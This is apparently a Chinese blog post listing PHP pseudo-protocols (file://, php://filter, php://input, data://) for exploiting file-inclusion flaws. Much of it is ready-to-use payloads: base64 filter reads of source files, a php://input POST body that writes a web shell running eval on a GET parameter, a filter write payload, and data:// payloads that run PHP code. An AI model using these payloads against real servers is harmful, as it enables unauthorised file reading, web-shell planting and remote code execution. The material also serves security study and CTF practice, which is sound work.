php常用伪协议整理
前言
欢迎来到我的博客
个人主页:北岭敲键盘的荒漠猫-CSDN博客
本文整理php常见的伪协议
php伪协议介绍
直观点,就是php可以识别的协议。
类似于我们访问网站的http协议,我们用浏览器访问我们自己本地文件的file协议等。
php可以识别这些协议,并且访问指定的资源。
PHP伪协议的版本以及适用条件
allow_url_fopen与allow_url_include为php的两个配置选项。
以下为他们的适用条件以及版本条件。
其他语言支持的情况(老图了)。
实现文件读取的协议
file协议
作用:访问绝对路径的文件,并展现内容
需要绝对路径。
php协议
作用:能够读取出数据(需要自行解个码)
payload:
php://filter/read=convert.base64-encode/resource=文件相对路径
实现文件写入的协议
php input协议
作用:有执行代码的能力,可以执行写入文件的 代码
payload:
php://input
POST:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
php write协议
作用:写入一个文件
局限性:他需要对方使用file_put_contents($name,$contents)才能执行
payload:
php://filter/write=convert.base64-encode/resource=phpinfo.php
实现代码执行的协议
PHP input协议
作用:执行后续代码
php://input POST:<?php phpinfo();?>
data协议写入
作用:执行后面代码,一个加密,一个不加密。
data://text/plain,<?php phpinfo();?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b